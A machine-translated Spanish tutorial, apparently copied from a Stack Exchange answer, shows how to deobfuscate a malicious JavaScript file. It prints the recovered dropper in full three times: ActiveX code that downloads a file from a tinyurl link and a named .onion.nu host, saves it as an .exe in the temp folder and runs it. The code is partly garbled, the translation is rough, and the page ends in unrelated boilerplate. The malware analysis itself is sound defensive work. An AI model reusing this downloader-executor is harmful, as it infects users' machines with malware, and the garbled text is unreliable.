Ramón, miembro de este equipo de trabajo, nos ha hecho el favor de escribir este tutorial porque controla muy bien el tema.
Solución:
El procedimiento para lidiar con JavaScript ofuscado es muy similar a cómo lo maneja en PHP. En este caso, la acción real está sucediendo en esta línea:
uumod=(new Function("fgwus","var ccuru=fgwus.match(/\S5/g),tgrdm="",ikkne=0;while(ikkne
Se crea una función anónima a partir de la larga string de código, y esa función, a su vez, crea un nuevo código seleccionando caracteres de los largos bancos de texto aparentemente aleatorio en la parte superior. Al final tienes cuatro llamadas a funciones:
tljsw()+tljsw()+tljsw()+tljsw()
Esa función devuelve al azar una de las letras e
, v
, l
y a
. Entonces a veces te dará eval
. Eso ejecuta código, pero no queremos hacer eso. Solo queremos leer el código. Así que vamos a reemplazarlo con console.log
:
uumod=(new Function("fgwus","var ccuru=fgwus.match(/\S5/g),tgrdm="",ikkne=0;while(ikkne
Luego obtenemos el siguiente resultado:
function getDataFromUrl(url, callback)
try
var xmlHttp = new ActiveXObject("MSXML2.XMLHTTP");
xmlHttp.open("GET", url, false);
xmlHttp.send();
if (xmlHttp.status == 200)
return callback(xmlHttp.ResponseBody, false);
else
return callback(null, true);
catch (error)
return callback(null, true);
function getData(callback)
try
getDataFromUrl("http://tiny" + "url.com/he3bh27", function(result, error)
if (!error)
return callback(result, false);
else
getDataFromUrl("http://oamnohndpiwpicgm.onion.nu/10.mov", function(result, error)
if (!error)
return callback(result, false);
else
getDataFromUrl("http://tiny" + "url.com/he3bh27", function(result, error)
if (!error)
return callback(result, false);
else
return callback(null, true);
);
);
);
catch (error)
return callback(null, true);
function getTempFilePath()
try
var fs = new ActiveXObject("Scripting.FileSystemObject");
var tmpFileName = "\" + Math.random().toString(36).substr(2, 9) + ".exe";
var tmpFilePath = fs.GetSpecialFolder(2) + tmpFileName;
return tmpFilePath;
catch (error)
return false;
function saveToTemp(data, callback)
try
var path = getTempFilePath();
if (path)
var objStream = new ActiveXObject("ADODB.Stream");
objStream.Open();
objStream.Type = 1;
objStream.Write(data);
objStream.Position = 0;
objStream.SaveToFile(path, 2);
objStream.Close();
return callback(path, false);
else
return callback(null, true);
catch (error)
return callback(null, true);
getData(function(data, error)
if (!error)
saveToTemp(data, function(path, error)
if (!error)
try
var wsh = new ActiveXObject("WScript.Shell");
wsh.Run(path);
catch (error)
);
);
No sé qué hace ese código, pero en el segundo que lo copie, lo pegué en un editor de texto, mi antivirus comenzó a gritar al respecto ... Como señala LegionMammal978 en los comentarios, esto parece apuntar a los navegadores IE con mala configuración, pero está activado Por lo que respecta a la seguridad, puede asumir que la computadora en la que se ejecutó está infectada por malware y tratarla como tal.
(Tenga en cuenta que tuve que dividir las URL en "tiny" + "url"
porque Stack Exchange no le permite publicar esa URL ... Sin embargo, esto no debería cambiar el comportamiento del código).
Este código está intentando ejecutar un archivo malicioso, 10.mov
(contra IE ActiveX), que posiblemente sea algún tipo de ransomware, descargando desde esta dirección:
¡NO DESCARGUE DESDE ESTA DIRECCIÓN!
xxxx://oamnohndpiwpicgm.onion.nu/10.mov
https://virustotal.com/en/url/f6aaa537b8f636b7827e08806bf6a8512b5c6497b82e457615cec15a62e2f044/analysis/
Aquí está el código de-ofuscado:
function getDataFromUrl(url, callback)
try
var xmlHttp = new ActiveXObject("MSXML2.XMLHTTP");
xmlHttp.open("GET", url, false);
xmlHttp.send();
if (xmlHttp.status == 200)
return callback(xmlHttp.ResponseBody, false);
else
return callback(null, true);
catch (error)
return callback(null, true);
function getData(callback)
try
getDataFromUrl("", function(result, error)
if (!error)
return callback(result, false);
else
getDataFromUrl("http://oamnohndpiwpicgm.onion.nu/10.mov", function(result, error)
if (!error)
return callback(result, false);
else
getDataFromUrl("", function(result, error)
if (!error)
return callback(result, false);
else
return callback(null, true);
);
);
);
catch (error)
return callback(null, true);
function getTempFilePath()
try
var fs = new ActiveXObject("Scripting.FileSystemObject");
var tmpFileName = "\" + Math.random().toString(36).substr(2, 9) + ".exe";
var tmpFilePath = fs.GetSpecialFolder(2) + tmpFileName;
return tmpFilePath;
catch (error)
return false;
function saveToTemp(data, callback)
try
var path = getTempFilePath();
if (path)
var objStream = new ActiveXObject("ADODB.Stream");
objStream.Open();
objStream.Type = 1;
objStream.Write(data);
objStream.Position = 0;
objStream.SaveToFile(path, 2);
objStream.Close();
return callback(path, false);
else
return callback(null, true);
catch (error)
return callback(null, true);
getData(function(data, error)
if (!error)
saveToTemp(data, function(path, error)
if (!error)
try
var wsh = new ActiveXObject("WScript.Shell");
wsh.Run(path);
catch (error)
);
);
Aquí hay un informe de VT de ese archivo (Fordanskede.exe):
https://www.virustotal.com/en/file/8991ce3e98dd732dafedd22723c51212278717e6d9583244bda5d1d178ba08d0/analysis/1484576109/
Otro informe cuando el archivo se activa en la zona de pruebas:
https://www.hybrid-analysis.com/sample/8991ce3e98dd732dafedd22723c51212278717e6d9583244bda5d1d178ba08d0?environmentId=100
Ahí está la "parte encriptada" del código:
TENGA CUIDADO ESTE ES UN CÓDIGO DE EXPLOTACIÓN REAL Y PUEDE SER PERJUDICIAL PARA SU COMPUTADORA
function getDataFromUrl(url, callback)tryvar xmlHttp = new ActiveXObject("MSXML2.XMLHTTP");xmlHttp.open("GET", url, false);xmlHttp.send();if (xmlHttp.status == 200) return callback(xmlHttp.ResponseBody, false);elsereturn callback(null, true);catch (error)return callback(null, true);function getData(callback)trygetDataFromUrl("http://oamnohndpiwpicgm.onion."nu/10.mov", function(result, error) if (!error)return callback(result, false);elsegetDataFromUrl("http://oamnohndpiwpicgm.onion."nu/10.mov", function(result, error) if (!error)return callback(result, false);elsegetDataFromUrl("http://oamnohndpiwpicgm.onion."nu/10.mov", function(result, error) if (!error)return callback(result, false);elsereturn callback(null, true););););catch (error)return callback(null, true);function getTempFilePath()tryvar fs = new ActiveXObject("Scripting.FileSystemObject");var tmpFileName = "\" + Math.random().toString(36).substr(2, 9) + ".exe";var tmpFilePath = fs.GetSpecialFolder(2) + tmpFileName;return tmpFilePath;catch (error)return false;function saveToTemp(data, callback)tryvar path = getTempFilePath();if (path)var objStream = new ActiveXObject("ADODB.Stream");objStream.Open();objStream.Type = 1;objStream.Write(data);objStream.Position = 0;objStream.SaveToFile(path, 2);objStream.Close();return callback(path, false);else return callback(null, true);catch (error)return callback(null, true);getData(function (data, error) if (!error)saveToTemp(data, function (path, error) if (!error)tryvar wsh = new ActiveXObject("WScript.Shell");wsh.Run(path);catch (error) ););
Esto descargará un archivo .mov infectado, que es detectado por cualquier buen antivirus.
Editar: Desde que usó el servicio TinyURL, me comuniqué con ellos para eliminar el enlace.
Reseñas y puntuaciones
Si sostienes alguna suspicacia o disposición de acrecentar nuestro reseña eres capaz de realizar un exégesis y con deseo lo leeremos.